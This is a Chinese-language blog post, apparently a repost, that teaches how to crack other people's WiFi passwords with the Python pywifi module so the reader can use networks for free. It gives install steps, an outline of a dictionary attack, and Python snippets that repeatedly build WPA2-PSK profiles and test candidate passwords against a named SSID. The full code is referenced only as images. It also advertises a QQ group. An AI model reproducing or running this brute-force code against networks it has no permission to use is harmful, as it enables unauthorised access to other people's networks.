1. 程式人生 > >神級Python大佬教你,如何用Python輕鬆破解網路WiFi!

神級Python大佬教你,如何用Python輕鬆破解網路WiFi!

隨著智慧手機的發展,網路已成為生活中不可或缺的一部分了,但是由於手機網路的網速或者流量資費等原因,導致人們過年走親戚,或者去朋友家,總是會需要去問WiFi,我以前也常常會有這樣的困擾。但是自從學過Python之後,嘿嘿嘿,現在出去玩我經常能蹭到網。學習Python呢,需要一個比較好的學習環境,最好是有人能夠指點一二,剛好小編這裡呢就有一個不錯的環境,有想法的小夥伴可以加群959997225喔!扯遠了扯遠了,不好意思。廢話不多說了,接下來我們進行分析與操作介紹吧。

神級Python大佬教你,如何用Python輕鬆破解網路WiFi!

 

首先匯入連線wifi的pywifi模組,如果pip不能安裝就在網上下載,因為該模組已經停用了。

如果你是在網路上下載,那麼請看下面的安裝方法:

  1. 下載好後,從cmd命令列,CD進入到你的檔案目錄
  2. 用命令pip install .安裝(必須有點)
神級Python大佬教你,如何用Python輕鬆破解網路WiFi!

 

在我這邊pywifi-master資料夾放在c盤根目錄下,所以先進入根目錄,再進入pywifi-master資料夾,最後輸入命令pip install . 即可

接下來在這樣操作:

一、我們在安裝並啟動了WiFi的py wifi模組的準備後,還要進行wifi連線的準備,進行網絡卡介面的抓取,必須要有網絡卡才可以連線WiFi,並且一臺電腦可以有很多網絡卡,但是連線WiFi只有一個。

二、抓取到WiFi網絡卡後進行連線測試,斷開所有的wifi網絡卡上的已連線成功的裝置。

三、接下來就是進行刺激的WiFi破解了

四、遍歷字典中儲存的密碼,直到破解成功。破解密碼,永遠離不開字典,字典我就先不發咯(嘿嘿嘿)

五、設定時間週期(sleep),連線存在一定延遲,不可能一秒鐘嘗試無限次。

六、就是得到結果啦

以上是分析,部分核心程式碼如下:

<1>

 def __init__(self, path):
self.file = open(path, "r", errors="ignore")
wifi = pywifi.PyWiFi() # 抓取網絡卡介面
self.iface = wifi.interfaces()[0] # 抓取第一個無限網絡卡
self.iface.disconnect() # 測試連結斷開所有連結

time.sleep(1) # 休眠1秒

# 測試網絡卡是否屬於斷開狀態,
assert self.iface.status() in
[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

<2>

def test_connect(self, findStr): # 測試連結

profile = pywifi.Profile() # 建立wifi連結檔案
profile.ssid = "e2" # wifi名稱
profile.auth = const.AUTH_ALG_OPEN # 網絡卡的開放,
profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi加密演算法
profile.cipher = const.CIPHER_TYPE_CCMP # 加密單元
profile.key = findStr # 密碼

self.iface.remove_all_network_profiles() # 刪除所有的wifi檔案
tmp_profile = self.iface.add_network_profile(profile) # 設定新的連結檔案
self.iface.connect(tmp_profile) # 連結
time.sleep(5)
if self.iface.status() == const.IFACE_CONNECTED: # 判斷是否連線上
isOK=True
else:
isOK=False
self.iface.disconnect() # 斷開
time.sleep(1)
# 檢查斷開狀態
assert self.iface.status() in
[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

return isOK

結果如下:

神級Python大佬教你,如何用Python輕鬆破解網路WiFi!

 

完整程式碼如下:

神級Python大佬教你,如何用Python輕鬆破解網路WiFi!

 

喜歡本文的小夥伴或者覺得本文對你有幫助可以點播關注或轉發喔。